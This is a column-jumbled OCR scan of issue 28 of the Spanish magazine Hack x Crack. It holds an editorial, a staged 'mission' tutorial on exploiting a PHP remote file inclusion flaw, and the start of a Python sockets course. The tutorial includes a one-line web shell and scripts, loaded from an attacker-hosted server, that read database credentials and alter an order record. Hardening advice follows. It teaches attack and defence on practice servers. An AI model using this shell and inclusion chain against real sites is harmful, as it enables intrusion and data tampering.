Sunteți pe pagina 1din 68

00028

8 414090 202756
EDIT ORIAL
DESPEGA LA SEGUNDA ETAPA DEL PROYECTO HXC.
MUCHOS CAMBIOS Y UNA AMENAZA: LA “LEY MORDAZA”

Estimados amigos de Hack x Crack, esta es la segunda vez que tengo el El cuarto cambio y caminando en la dirección de hacer HXC lo más abierto
placer de escribir esta editorial. posible, se ha "construido" en el foro (www.hackxcrack.com) una "Sala de
Votaciones" donde ya se ha propuesto y resuelto la primera votación: la
Tienes ante ti el número 28 de PC PASO A PASO // Los Cuadernos de portada de este número 28 NO fue decidida por ningún director, fue decidida
hackxcrack, el segundo número de la nueva etapa de esta revista. En la por todos los integrantes del foro. No te pierdas la oportunidad de votar y
anterior editorial te anunciábamos que toda una serie de cambios estaban decidir sobre la revista, regístrate en el foro y utiliza tu voto para que HXC
en camino, pues bien, muchos de esos cambios ya son perfectamente llegue a ser como tú deseas.
visibles y otros muchos están en el punto de mira.
Muchos cambios, si, muchos avances, si, muchas cosas buenas, si… pero
El primer cambio, el más importante, el motor, el que ha permitido que este todavía hay muchos temas pendientes en los que ya estamos trabajando
número esté en tus manos y contenga importantes mejoras… es un cambio y que esperamos presentarte para el próximo número, estamos poniendo
que no "se ve", es la apertura del proyecto HXC. Esta publicación ya no todo nuestro empeño. Trabajaremos en la Web, en la organización interna,
es responsabilidad de un director y unos pocos colaboradores directos, el en la atención telefónica, en los pedidos, en la publicidad (imprescindible
proyecto HXC se ha abierto y ahora somos muchas las personas que si queremos aumentar las páginas de la revista) y, entre otras cosas, crear
estamos colaborando, aportando nuestros conocimientos (cuanto creemos un sistema de Bandeja de Entrada compartida desde donde podremos
saber), nuestro talento (si es que tenemos alguno), nuestro tiempo (muchas responder TODOS los mails que nos lleguen… ¿no te lo crees?... tiempo
horas robadas al sueño) y, en definitiva, empujando cuanto podemos y al tiempo, ahora tenemos "el poder" que ofrece el trabajo en grupo. Si
utilizando todos los recursos que hay a nuestro alcance. conseguimos organizarnos bien, todo eso y mucho más será posible ;)

El segundo cambio, la cabecera de La Portada (cambio de "logo"), Hay mucho por hacer, mucho!!! Pero con la ayuda del grupo que estamos
portada en sí misma y reestructuración completa de la maquetación formando, parte de cuyo esfuerzo ya puedes ver reflejado en este número,
interna. Hace mucho tiempo que teníamos pendiente mejorar el aspecto iremos consiguiendo cada una de las metas.
de la revista, por fin, gracias al talento, a las aportaciones y al trabajo de
muchas personas, aquí está el primer resultado. Seguiremos avanzando Y recuerda algo muy importante… nosotros sin ti, NO SOMOS NADA!!!
en este campo, intentaremos mejorar en cada nuevo número.
¡Un fuerte abrazo a todos!
El tercer cambio, reactivación los servidores de pruebas (servidores
de hack) para que puedas hacer las prácticas propuestas en la revista AZIMUT, administrador de los foros de hackxcrack
sin temor a incumplir la Ley. Este punto ha sido una cruz para esta revista, (www.hackxcrack.com).
en su día se montaron los servidores PERO estaban más tiempo fuera de
servicio que ON LINE. Bien, hemos trabajado mucho para encontrar una P.D: Los artículos publicados este mes han precisado de
solución factible y finalmente creemos haberla encontrado. En este número consulta/asesoramiento externo debido a que una nueva ley intenta
hemos habilitado 4 servidores (dos escenarios completos) para que puedas silenciarnos (silenciarnos a nosotros, a ti y a cualquier medio de
completar la práctica propuesta en el primer artículo: HACKING comunicación). La llamada LEY MORDAZA es un atentado contra la
ESTRATEGIA. Visita nuestro foro y en concreto el enlace libertad de expresión que puede provocar condenas de cárcel en
http://www.hackxcrack.com/phpBB2/viewtopic.php?t=23301 España por el mero hecho de IMFORMAR. Al final de la revista tienes
En este enlace tienes toda la información necesaria sobre los Servidores la explicación a esta posdata en forma de artículo de opinión.
de Hack del Proyecto HXC.

grupo HXC
1.- PORTADA “taca dissenys”
2.- EDITORIAL - INDICE - DATOS taca.dissenys@gmail.com juanmat
3.- HACKING ESTRATEGIA
EDITOTRANS S.L.
10.- CURSO DE PYTHON B43675701
PERE MARTELL Nº 20, 2º - 1ª
15.- PONIENDO A PRUEBA EL ANTIVIRUS 43001 TARRAGONA (ESPAÑA)
34.- EXPLOTANDO HEAP/BBS OVERFLOWS Director Editorial
42.- ¿QUIERES ESCRIBIR PARA ESTA REVISTA? I. SENTIS
E-mail contacto
43.- CURSO DE C
director@editotrans.com
52.- TALLER DE CRIPTOGRAFIA Título de la publicación
61.- VISITA NUESTRO FORO Los Cuadernos de HACK X CRACK.
Nombre Comercial de la publicacíón
62.- LA LEY MORDAZA: INFORMAR ES DELITO PC PASO A PASO
66.- ATENCION AL CLIENTE Web: www.hackxcrack.com
IMPRIME:
67.- PON PUBLICIDAD EN LA REVISTA POR 99 EUROS I.G. PRINTONE S.A. Tel 91 808 50 15
68.- PIDE LOS NUMEROS ATRADOS DISTRIBUCIÓN:
SGEL, Avda. Valdeparra 29 (Pol. Ind.)
28018 ALCOBENDAS (MADRID)
Tel 91 657 69 00 FAX 91 657 69 28
WEB: www.sgel.es

Moleman, a.k.a Héctor M. ---> moleman.bofh@gmail.com


Ramiro C.G. (alias Death Master) // Alex F. (CrashCool) © Copyright Editotrans S.L.
NUMERO 28 -- PRINTED IN SPAIN
PERIOCIDAD MENSUAL
Deposito legal: B.26805-2002
Código EAN: 8414090202756
Bienvenidos a esta serie de artículos en los que aprenderemos diversas técnicas de intrusión usadas
en la realidad bajo un marco de suspense y con una trama y escenarios ficticios que te situarán
junto al atacante, nos convertiremos en agentes especiales y se nos entregará una misión que
deberemos llevarla al éxito.

Soy CrashCool y os doy la bienvenida a hacking de estrategia. ;)

Documento de la misión:

Necesitamos que altere la base de datos de WADAL SL y modifique la dirección de entrega de un pedido que sospe­
chamos es ilegal, deberá modificar el lugar de entrega para que podamos tenderle allí una trampa y capturar a
Wadalberto, jefe de WADAL SL y principal sospechoso

A continuación le doy los datos técnicos que nuestros agentes han conseguido:

Tanto el sistema de pedidos como la Web de la compañía comparten el mismo servidor de bases de datos, solo
es posible acceder a dicho servidor desde las propias oficinas de la empresa o desde el servidor Web donde se
aloja la página de la empresa, ambos servidores corren Linux como sistema operativo.

El pedido se entregará el día 12/05/05,el lugar y hora de entrega es desconocido y deberá averiguarlo, segui­
damente deberá modificarlo siendo el nuevo destino: C\Secreta N 99 – Wadalbertia

La Web de WADAL SL se encuentra en http://172.16.1.2

Mucha suerte en su misión

1- Trazando el esquema de ataque suelo, se lo dejaremos a Tom Cruise, nosotros vamos a in­
tentar infiltrarnos en la base de datos desde el servidor
Tenemos que infiltrarnos en el servidor de bases de datos, Web.
la única manera de hacerlo es desde el servidor Web o El escenario se nos presenta así: (ver imagen 1)
desde las oficinas de WADAL SL. Lo que haremos será lo siguiente:
Nos infiltraremos en el servidor Web
Deslizarnos desde un helicóptero por la rejilla de
A través de ahí conectaremos con el servidor
ventilación del edificio de WADAL.SL para acceder a las ofi­
BBDD
cinas y procurar que no se nos caiga la gota de sudor al

3
mos resultados, auditaremos cada uno de
los servicios que corra el servidor.

Vistamos la Web para comenzar la audi­


toria de la aplicación.

http://172.16.1.2 (ver imagen 2)

Visitamos las distintas secciones de la


Web y nos fijamos en el enlace de cada
sección:

http://172.16.1.2/index.php?seccion=i
nicio.html

http://172.16.1.2/index.php?seccion=
empresa.html

http://172.16.1.2/index.php?seccion=
procuctos.html

http://172.16.1.2/index.php?seccion=
contacto.html
Imagen 1
Esto nos hace sospechar que nos en­
contramos ante un peligroso error de
programación, más conocido como re­
mote file inclusión , la base de este bug
es la inclusión de un archivo en el códi-
go de la Web, el cual se ejecutará en el
propio servidor.

Podemos deducir que en el código de


index.php encontraremos en alguna
parte algo parecido a esto:

<?php
include($_GET['seccion']);
?>

Como podemos ver seccion es una va­


riable que se recoge con GET y se inclu­
ye el nombre del archivo que contenga.
Así pues, esto:

http://172.16.1.2/index.php?seccion=
empresa.html

equivaldría a:

Imagen 2 <?php
include('empresa.html');
Visualizaremos las bases de da­ Alteraremos la tabla y finaliza­ ?>

tos alojadas para seleccionar la remos el ataque.


que nos resulte sospechosa de La sentencia include de PHP permite por
ser la encargada de alojar los pe­ defecto incluir archivos remotos, si
didos. montáramos un servidor Web en nues­
2- Preparando el ataque tro PC http://172.16.1.45 y guardára­
Visualizaremos las tablas de esa mos empresa.html en el directorio raíz
Lo primero que haremos será una audito­
base de datos y haremos una de nuestro servidor, al acceder a:
ria al servidor, para ello primero auditare­
consulta a dicha tabla para visua­ http://172.16.1.2/index.php?seccion=
mos la aplicación Web y si no consegui­
lizar su contenido http://172.16.1.45/empresa.html no

4
notaríamos diferencia alguna que acce­
der por http://172.16.1.2/index.php?
seccion=empresa.html , pero si vamos
más allá, ¿Qué pasaría si creamos un
script en PHP? el código que programe­
mos se ejecutaría en el servidor Web.

2.1 Diseñando los scripts para la


misión
Una vez que podemos ejecutar código
arbitrario dentro del servidor, tenemos
acceso a él, y por tanto al servidor
BBDD.
Imagen 3
Sabemos que la Web comparte el mis­
mo servidor de bases de datos que con­
tiene el pedido que tenemos que modifi­
car, por tanto en algún lugar la aplica-
ción Web conectará con dicho servidor
BBDD y por tanto tendrá los datos de
acceso , es decir el nombre de usuario,
contraseña e IP del servidor BBDD.

Para localizar dichos datos tendremos


que navegar tanto por el directorio de la
Web, como tener la posibilidad de ver el
fuente de los archivos contenidos en él.
Imagen 4
La forma de acceso que tenemos es por
cíficamente deshabilitadas; o bien las y lo usaríamos : shell.php?comando=
medio del bug de RFI (Remote File
inhabilitarán indirectamente configurado [aquí el comando]
Inclusión) así que la forma de realizar
PHP en modo seguro.
dichas acciones será mediante la
El uso de alguna de estas funciones pa­ 2.1.2 Usando funciones de php
programación y posterior inclusión de
ra nuestra misión nos solucionaría los
scripts en PHP. Con esta técnica nos saltaremos las res­
dos scripts que tenemos que progra­
mar: tricciones que supone el uso de funcio­
Necesitamos pues:
nes de ejecución de comandos y podre­
Para el listado de archivos: mos continuar la misión aún con PHP en
Script que nos liste los archivos
modo seguro.
del directorio Web
<?php
Script que nos muestre el con­ system('ls'); Script que muestra el listado de un di­
tenido de un archivo ?> rectorio:
Para esta labor explicaré 2 posibilida­
des, hacer uso de funciones propias de <?php
Para visualizar el contenido de un archivo:
PHP para dicho fin o bien utilizar funcio­ //dir.php
$directorio=opendir(".");
nes de ejecución de comandos , que <?php
while ($archivo = readdir($directorio))
sería algo así como utilizar la función system('cat archivo.php');
system de C; que nos permitiría ejecu­ ?>
tar comandos como los que ejecutaría­ echo "$archivo<br>";
o siendo más prácticos:
mos en una shell de dicho servidor, con closedir($directorio);
los permisos claro está de los que cons­ <?php ?>
te el usuario bajo el que corriera el ser­ //shell.php
vidor Web. system($_GET['comando']); El script abre el directorio actual, lee
?> cada archivo que se encuentre en él y lo
muestra por pantalla.
2.1.1 Usando funciones de
Nota
ejecución de comandos Nota
Para configurarlo en modo seguro editaremos php.ini y mo­
El problema de estas funciones es que
dificaremos el valor de safe_mode: Un curso de programación PHP se escapa del ámbito del ar­
al ser bastante peligrosas para la segu­
; Safe Mode tículo; podrás encontrar uno en revistas anteriores, o bien
ridad de un servidor, por regla general ; hacer uso del buen amigo Google para profundizar más en
en una protección decente, están espe­ safe_mode = On este fantástico lenguaje.

5
http://172.16.1.2/index.php?seccion=
<?php
http://172.16.1.45/dir.php
/* dbs.php */
Obtendríamos como salida el listado del
include("db.php"); //incluimos los datos de acceso
directorio de nuestro servidor, ya que el
$cnx=mysql_connect($servidor,$user,$password); //conectamos al servidor
servidor de WADAL SL haría la petición
$dbs = mysql_query("SHOW DATABASES"); //ejecutamos la consulta
de dir.php a nuestro servidor y éste al
echo "<table width=\"100\" border=\"1\">\n";
tener una extensión ejecutable por el
echo "<tr><td><b>DB</b></td></tr>\n";
while($db = mysql_fetch_row($dbs)){ //mostramos cada uno de los resultados servidor entregaría la salida del script,
echo "<tr>\n"; o sea el listado de nuestro directorio.
echo "<td>".$db[0]."</td>\n";
echo "</tr>\n";
Elegimos como extensión, por ejemplo
} dir.inc y cat.inc , seguidamente lo eje­
echo "</table>\n"; cutamos obteniendo el listado del di­
mysql_close($cnx);//cerramos la conexion rectorio de la Web de WADAL SL
?>
http://172.16.1.2/index.php?seccion=
Listado 1 http://172.16.1.45/dir.inc

(ver imagen 3)

Sabemos que desde index.php se tiene


acceso a la base de datos, por lo que o
bien los datos de acceso se encuentran
en index.php o bien en algún archivo
secundario. Viendo los archivos, nos lla­
ma la atención db.php , veamos su con­
tenido haciendo uso de cat.php

http://172.16.1.2/index.php?seccion=
Imagen 5 http://172.16.1.45/cat.inc&archivo=db
.php (ver imagen 4)

<?php
El contenido del archivo db.php es el
/* tablas.php */
buscado ;)
include("db.php"); //incluimos los datos de acceso
$cnx=mysql_connect($servidor,$user,$password); //conectamos al servidor
Ya estamos en disposición de adentrar­
mysql_select_db("gestion_pedidos",$cnx); //seleccionamos la base de datos
nos en el servidor BBDD.
echo "<table width=\"100\" border=\"1\">\n";
echo "<tr><td><b>TABLA</b></td></tr>\n";
3.1 Infiltrándonos en el servidor
$tablas=mysql_query("SHOW TABLES"); //ejecutamos la consulta
bbdd
while($tabla = mysql_fetch_row($tablas)){ //mostramos cada uno de los resultados
echo "<tr>\n"; Sería muy sencillo introducir esos datos
echo "<td>".$tabla[0]."</td>\n"; en nuestro phpMyAdmin y gestionar di­
echo "</tr>\n";
rectamente la base de datos desde
}
nuestro PC, pero tenemos constancia de
echo "</table>\n";
que el servidor de base de datos solo
mysql_close($cnx); //cerramos la conexion
puede ‘hablar’ con el servidor Web y
?>
con las oficinas de WADAL SL, así que
Listado 2 tendremos que continuar desarrollando
la misión a través del pequeño gran bug
Script que muestra el contenido de un en el directorio raíz los archivos dir.php de inclusión.
archivo: y cat.php , usaremos éstos en lugar de
3.1.1 Visualizando las bases de da­
shell.php por motivos explicados ante­
<?php tos del servidor bbdd
riormente.
//cat.php
show_source($_GET['archivo']); Ahora programaremos un script que vi­
Lo primero que haremos será renom­
?> sualizará las bases de datos del servi­
brar estos archivos a una extensión in­
ventada, que nuestro servidor Apache Nota
3 Iniciando el ataque
no sea capaz de reconocer, ¿para qué?
En nuestro PC arrancamos el Apache (o si incluyéramos los archivos en el servi­ En los siguientes puntos 'hablaremos' con el servidor BBDD a tra­
vés de consultas SQL, podrás encontrar un curso excelente en
cualquier otro servidor Web) y situamos dor de WADAL SL tal que así: http://www.hackxcrack.com/phpBB2/viewtopic.php?t=12222

6
dor, para ello tendremos que conectar
con el servidor y ejecutar la consulta
SQL “SHOW DATABASES”(ver listado1)

Ahora incluiremos este script en el ser­


vidor de WADAL SL previo cambio de
extensión.

http://172.16.1.2/index.php?seccion=htt
p://172.16.1.45/dbs.inc

(ver imagen 5)

Excelente, hemos obtenido las bases de


Imagen 6 datos que alberga el servidor BBDD:

gestion_administrativa, ges­
<?
tion_empleados, gestion_pedidos,
/* campos.php */
include("db.php"); //incluimos los datos de acceso web_empresa
$cnx=mysql_connect($servidor,$user,$password); //conectamos al servidor
mysql_select_db("gestion_pedidos",$cnx); //seleccionamos la base de datos Las 3 primeras podrían ser pertenecien­
$campos=mysql_query("DESCRIBE pedidos_pendientes"); //ejecutamos la sentencia tes a la empresa y la última pertene­
echo "<table width=\"100\" border=\"1\">\n"; ciente a la Web, así pues la información
echo "<tr><td><b>CAMPO</b></td><td><b>TIPO</b></td>\n";
que nos daban en la misión era cierta y
while($campo= mysql_fetch_row($campos)){ //visualizamos cada uno de los campos
echo "<tr>\n";
probablemente la base de datos que al­
echo "<td>".$campo[0]."</td><td>".$campo[1]."</td>\n"; berga los pedidos es la tercera (ges­
echo "</tr>\n"; tion_pedidos)
}
echo "<table>\n";
mysql_close($cnx); //cerramos la conexion
?> 3.1.2 Visualizando las tablas de la
base de datos “gestion_pedidos”
Listado 3
Para ello procederemos de igual forma,
ejecutando la sentencia SQL “SHOW
TABLES” (ver listado2)

Ahora incluiremos este script en el ser­


vidor de WADAL SL previo cambio de
extensión.

http://172.16.1.2/index.php?seccion=
http://172.16.1.45/tablas.inc

(ver imagen 6)

Las tablas que contiene la base de datos


gestion_pedidos son:
Imagen 7
pedidos_rechazados, pedi­
dos_pendientes, historial_pedidos

Llegados a este punto de intrusión esta­


mos a un paso de completar con éxito
la misión, hemos localizado la tabla que
contiene los pedidos pendientes, tan so­
lo nos queda ver la estructura de dicha
tabla, visualizar y modificar el pedido.

3.1.3 Visualizando la estructura de


la tabla ‘pedidos_pendientes’

Imagen 8 Esto se consigue ejecutando la


sentencia SQL “DESCRIBE

7
pedidos_pendientes”, procedamos a la
<? programación del script:(ver listado3)
/* pedido.php */
include("db.php"); //incluimos los datos de acceso Seguidamente lo incluimos, previo cam­
$cnx=mysql_connect($servidor,$user,$password); //conectamos al servidor bio de extensión.
mysql_select_db("gestion_pedidos",$cnx); //seleccionamos la base de datos
$pedidos=mysql_query("SELECT * FROM pedidos_pendientes WHERE dia='2005-05-12'"); http://172.16.1.2/index.php?seccion=
echo "<table width=\"100%\" border=\"1\">\n"; http://172.16.1.45/campos.inc(ver
echo "<tr><td><b>DIA</b></td><td><b>HORA</b></td>"; imagen 7)
echo "<td><b>LUGAR</b></td><td><b>PRODUCTO</b></td>\n";
while($pedido= mysql_fetch_row($pedidos)){ //visualizamos cada uno de los campos Y obtenemos que los campos de la tabla
echo "<tr>\n"; pedidos_pendientes son: dia, hora, lu­
foreach ($pedido as $campo) gar, producto.
echo "<td>".$campo."</td>\n";
echo "</tr>\n";
echo "<table>\n"; Ya solo nos queda ejecutar la consulta
} para listar los pedidos del día 12/05/05.
mysql_close($cnx); //cerramos la conexion
?>
3.1.4 Visualizando los pedidos del
Listado 4 dia 12/05/05

Lo primero será construir la sentencia


<?php
SQL que nos listará los pedidos:
//modificacion.php
include("db.php"); //incluimos los datos de acceso
SELECT * FROM pedidos_pendientes
$cnx=mysql_connect($servidor,$user,$password); //conectamos al servidor
WHERE dia=2005-05-12
mysql_select_db("gestion_pedidos",$cnx); //seleccionamos la base de datos
$query="UPDATE pedidos_pendientes SET lugar="
Y seguidamente el script que la ejecu­
."'C\\\\Secreta N 99 Wadalbertia' WHERE dia ='2005-05-12'";
te:(ver listado 4)
mysql_query($query);
mysql_close($cnx); //cerramos la conexion Lo incluimos:
?>
http://172.16.1.2/index.php?seccion=
http://172.16.1.45/pedido.inc
Listado 5
(ver imagen 8)

Y ahí esta!!

Rápidamente apuntamos los datos en


nuestro informe, y procedemos a modi­
ficar la dirección del pedido a C\Secreta
N 99 – Wadalbertia

3.1.5 Modificando la dirección del


pedido

Formamos la última sentencia SQL que


nos permitirá finalizar la misión:
Imagen 9
UPDATE pedidos_pendientes SET lu­
<?php
g a r = ' C \ S e c r e t a N 9 9 Wa d a l b e r t i a '
$seccion=$_GET['seccion'];
WHERE dia ='2005-05-12'
switch($seccion)
{ Y creamos el script que la ejecuta: (ver
case 'inicio': include("inicio.html"); break; listado 5)
case 'empresa': include("empresa.html"); break;
case 'productos': include("productos.html"); break; La ejecutamos:
case 'contacto': include("contacto.html"); break;
default: include("404.shtml"); Nota
}

El formato de fecha para un campo date es: año-mes-día


?>

Listado 6

8
http://172.16.1.2/index.php?seccion= te funciones como file_exists() y trata­ través de RFI se ejecutará con
http://172.16.1.45/modificacion.inc miento de cadenas para evitar que con­ estos permisos, imaginad qué pa­
tenga lugares externos (http:// , ftp:// saría si el servidor se ejecutara
Por último volvemos a usar el script pe­
...) por un usuario con privilegios de
dido.php para asegurarnos de la
root y un atacante consiguiera ac­
modificación llevada a cabo. Si queremos tener la total seguridad, ceso por RFI
http://172.16.1.2/index.php?seccion= podemos usar un switch que contemple
http://172.16.1.45/pedido.inc todos los posibles valores permitidos de
PHP en modo seguro:
(ver imagen 9) la variable $seccion y asociarlos a un
archivo a incluir:(ver listado 6) Deshabilita o restringe funciones
¡Lo conseguimos!
consideradas peligrosas, puedes
La sentencia de dispersión evaluaría el
encontrar la lista detallada en
valor de la variable $seccion e incluiría
http://es2.php.net/features.safe-
el archivo al que le asociamos, contando
mode
Gracias a su infiltración hemos que se usara este script en la web de la
Se consigue activándolo desde
logrado intervenir un cargamento misión los enlaces podrían quedar así:
php.ini (Safe_mode=On)
de embudos que escondía 12
http://172.16.1.2/index.php?seccion=inicio
millones de euros en diamantes. Deshabilitar el acceso remo­
http://172.16.1.2/index.php?seccion=noticias
Wadalberto, único detenido, ha to a archivos
...
pasado a disposición judicial.
.
De esta forma al atacante le será
Con esto ya no habría peligro alguno de
imposible incluir archivos remotos,
remote file inclusion , además al no in­
se consigue modificando el valor
4 Protegiéndonos de este ti­ cluir en el enlace la propia extensión
de allow_url_fopen en php.ini:
po de ataques ( para el ejemplo: .html) como pasaba
antes, evitaremos que nuestra Web se ; Whether to allow the treatment of
Como veis un simple error de visualice como un claro objetivo. URLs (like http:// or ftp://) as files.
programación Web (RFI) , nos ha per­ allow_url_fopen = Off
mitido realizar una infiltración hasta el Otra recomendación es evitar que se
mismo servidor de bases de datos de la muestren errores de nuestras funciones Usando Mod_security
empresa, nosotros hemos alterado un para evitar que el atacante consiga
Mod_security es un módulo para
dato, pero de igual manera podríamos información, se consigue anteponiendo
Apache que funciona como un sis­
haber sacado un completo back-up o in­ @ a la función:
tema de detección de intrusos a
cluso borrar el contenido de todas las @include(....) , @mysql_connect(..),
nivel de pedidos HTTP, con las re­
tablas, y todo debido a un error de @mysql_query(...) ... etc.
glas adecuadas puede prevenir
programación, ¿ves la importancia que
infinidad de ataques.
tiene la programación segura? De esta forma, aunque dentro del inclu­
Puedes encontrar mas informa-
de vaya un archivo inexistente, no se
4.1 Por parte del programador de la ción sobre esta utilidad y algu-
visualizarían los errores al visitar la
web nos ejemplos de reglas en
web.
http://www.hackxcrack.com/php
Lo principal es concienciarnos de la im­ BB2/viewtopic.php?t=20732
4.2 Por parte del administrador del
portancia que tiene la programación se­
gura, la anterior empresa ficticia pudo servidor
5 Despedida
haber frenado nuestro ataque con unas
recomendaciones que veremos a Para lograr frenar ataques de este tipo Ésta ha sido la primera misión, espero
continuación. y evitar al máximo las infiltraciones se­ que os haya gustado y haya despertado
Evitando a toda costa la inclusión de va­ guiremos unos consejos básicos: en vosotros una curiosidad que os lleve
riables dentro de un include, inclu­ a seguir investigando y profundizando.
Ejecutar PHP/Apache en un
de_once, require, require_once sin an­
usuario con los mínimos privi­ Os espero en la próxima, en un escena­
tes verificar su contenido.
legios necesarios. rio distinto, con más técnicas de
<?php infiltración usadas en la realidad, os es­
//ERROR!!!!!!! El código PHP que ejecutemos a pero aquí, en hacking de estrategia.
include($_GET['seccion']);
Nota Autor: CrashCool
?> ¿Quieres practicar este artículo en la vida REAL?
En¿si?
http://www.hackxcrack.com/phpBB2/
... entonces... ¿A QUÉ ESTÁS ESPERANDO?
si te interesa el tema de la programación segura en PHP,
Para este caso verificaríamos que la va­ puedes visitar la web http://phpsec.org (PHP Security viewtopic.php?t=23301 podéis encontrar
Hemos preparado 4 servidores (dos escenarios) para que
Consortium) la cual está completamente dedicada a la información
puedas haceracerca estesinartículo.
la práctica temor a represalias legales.
riable $seccion solo contenga archivos Tienes la información necesaria en ESTE enlace:
difusión de la programación segura en PHP.
del propio directorio de la Web, median­ http://www.hackxcrack.com/phpBB2/ viewtopic.php?t=23301

9
Por Moleman (a.k.a Héctor M.)

Bienvenido al Episodio 2 de este Curso de Python. Si os gustó el primero este os encantará. Y sin
más dilación entremos al trapo.

Para no perder las buenas costumbres aquí van los progra­


mas regalito de la casa. sys.exit(10)
elif len(sys.argv)>3:
echo-server.py mens=sys.argv[3:]
print sys.argv
#!/usr/bin/env python maquina = sys.argv[1]
import socket,sys puerto=int(sys.argv[2])
print 'Conectando a',maquina,'...'
def eco(conn,dir_conn): s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Aceptando conexion de:',dir_conn[0],'en puerto:',dir_conn[1] s.connect((maquina, puerto))
while 1: for linea in mens:
data=conn.recv(1024) s.send(linea)
if not data: break data=s.recv(1024)
conn.send('Echo -> '+data) print 'Recibido:',data
conn.close() s.close()
print 'Fin de conexion de:',dir_conn[0],'\n'
if (len(sys.argv)!=2): En el anterior artículo comente que nos quedaban unos
print './echoserver.py [puerto]'
cuantos tipos de datos por comentar. Estos son: listas, dic­
sys.exit(10)
maquina=''
cionarios y tuplas.
puerto=int(sys.argv[1])
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) Primero haremos una breve revisión y ampliación.
s.bind((maquina,puerto))
s.listen(5)
while 1:
conn,dir_conn=s.accept() Ya comentamos las cadenas. Una cadena es simplemente
eco(conn,dir_conn) un conjunto de caracteres entrecomillado.

echo-client.py Las funciones que podemos usar con cadenas son:

#!/usr/bin/env python int(): convierte una cadena que representa un entero en un entero
float(): convierte una cadena “flotante” en un flotante
import sys,socket str(): el inverso de los dos anteriores
ord(): coge una cadena de un solo carácter y devuelve su ASCII entero
mens=['Saludos...'] chr(): coge un entero entre 0 y 255 y devuelve el carácter corres­
if len(sys.argv)<3: pondiente en ASCII
print './echoserver.py [ip] [puerto] (mensaje1 | mensaje2 | ... | mensajeN)' len(): imprime la longitud de la cadena que se le pase (el
número de caracteres)

10
los métodos y funciones asociados a las Los elementos se enumeran empezando
listas. por el cero, por lo que si queremos im­
También disponemos de los métodos. primir el 'hola', tenemos que indicarle
“Antiguamente” para operar con cade­ También indicar que podemos acceder a que imprima el elemento uno (la lista
nas se usaban las funciones del módulo un carácter específico de la cadena indi­ contiene tres elementos: cero, uno y
string, mas ahora dicho módulo ha que­ cándole la posición del carácter, empe­ dos). Incluso si el elemento al que acce­
dado obsoleto. Para sustituirlo existen zando a contar desde el cero, entre cor­ diéramos dentro de la lista fuera una
los métodos. chetes. Así: cadena podríamos acceder a un carácter
específico dentro de la cadena, dentro
>>> cadena='Mi cadena'
Un método es simplemente una de la lista. Mucho lío? Un ejemplo:
>>> print cadena[4]
operación sobre una o varias cadenas.
a >>> lista=[2,'hola',3.14159]
Se invocan así: cadena.método() (con
>>> >>> print lista[1][3]
parámetros si los requiere)
a
Imprimimos la posición 4, que corres­
>>> cadena='Mi cadena' >>>
ponde al quinto carácter de la cadena,
>>> print cadena.upper()
en este caso la “a”. Dentro de este mis­ Hemos accedido a la cadena 'hola' y
MI CADENA
mo apartado tenemos que comentar el luego hemos accedido a la cuarta letra
>>>
operador slice (corte) que se represen­ de la cadena, la “o” :)
ta con dos puntos (:). Este operador Además podemos usar el slice con las
El método upper() por ejemplo, con­
nos sirve para seleccionar un rango de listas.
vierte en mayúsculas el contenido de
elementos. Así:
una cadena. Otros métodos usados son Las listas también tienen métodos pro­
por ejemplo: lower() que convierte en >>> cadena='Mi cadena' pios para operar con ellas. Si hacemos
minúsculas, split() que corta la cadena >>> print cadena[3:6] un dir()
por cada separador dado y la convierte cad
en una lista o replace() que sustituye >>>
los caracteres que se especifiquen de >>> dir(lista)
una cadena por otros también especifi­ mostramos las letras de la 3 a la 5. La ['__add__', '__class__', '__contains__',
cados. Según vayamos viendo algunos teoría es así: el slice selecciona todos '__delattr__', '__deli­ t e m _ _ ' ,
los iremos explicando aunque si tenéis los elementos entre [x:z-1]. Si omiti­ '__delslice__', '__doc__', '__eq__',
curiosidad podéis usar la función dir(). mos el primer valor ([:z]) contara desde '__ge__', '__getattribute__', '__getitem__',
Esta función devuelve los métodos de cero hasta z-1 y si omitimos el ultimo '__getslice__', '__gt__', '__hash__',
un tipo de datos dado (vale para cade­ ([x:]) contara desde x hasta el final. '__iadd__', '__imul__',
nas, listas, diccionarios,...). Veamos su Sencillo y útil. '__init__', '__iter__', '__le__', '__len__',
uso: Continuemos. '__lt__', '__mul__', '__ne__', '__new__',
'__reduce__', '__reduce_ex__', '__re­
>>> cadena='Mi cadena' pr__', '__rmul__', '__setattr__', '__seti­
>>> dir(cadena) tem__', '__setslice__', '__str__', 'append',
Una lista en un conjunto de datos de
['__add__', '__class__', '__contains__', 'count', 'extend', 'index', 'insert', 'pop', 'remo­
cualquier tipo (incluso de varios tipos
'__delattr__', '__doc__', '__eq__', '__ge__', ve', 'reverse', 'sort']
diferentes al mismo tiempo), y se decla­
'__getattribute__', '__getitem__', '__get­ >>>
ra entre corchetes ([]). Veamos un
n e w a rg s _ _ ' , ' _ _ g e t s l i c e _ _ ' , ' _ _ g t _ _ ' ,
ejemplo:
'__hash__', '__init__', '__le__', '__len__', Por ejemplo, append() añade un ele­
'__lt__', '__mod__', '__mul__', '__ne__', mento al final de la lista. según veamos
'__new__', '__reduce__', '__reduce_ex__', >>> lista=[2,'hola'] los métodos iremos explicándolos.
'__repr__', '__rmod__', '__rmul__', >>> print lista También pueden usarse los operadores
'__setattr__', '__str__', 'capitalize', 'center', [2, 'hola'] de concatenación (+), repetición (*) y
'count', 'decode', 'encode', 'endswith', >>> la función len() de las cadenas sobre las
'expandtabs', 'find', 'index', 'isalnum', 'isal­ listas. Para borrar un elemento de la lis­
pha', 'isdigit', 'islower', 'isspace', 'istitle', 'isu­ Como vemos, hemos creado una lista
ta usaremos: del lista[indice]
pper', 'join', 'ljust', 'lower', 'lstrip', 'replace', que contiene un entero y una cadena y
'rfind', 'rindex', 'rjust', 'rstrip', 'split', 'splitli­ luego la hemos imprimido entera. Si
nes', 'startswith', 'strip', 'swapcase', 'title', quisiéramos imprimir sólo un elemento
'translate', 'upper', 'zfill'] de la lista deberíamos indicarle la
>>> posición del elemento a imprimir.
Una tupla es a todos los efectos lo mis­
>>> lista=[2,'hola',3.14159] mo que una lista con una importante di­
Estos serian todos los métodos y funcio­ ferencia: las tuplas son inmutables.
>>> print lista[1]
nes asociados a las cadenas en general. Son constantes. Una vez declarados sus
hola
Si hiciéramos dir() con una lista saldrían valores ya no podrán ser cambiados
>>>

11
(con una pequeña excepción que co­ hacer con él lo que queramos. Fácil,
mentaremos.) verdad?

Una tupla se declara igual que una lista Bueno, después de todo el peñazo con Crear ahora nuestros propios módulos
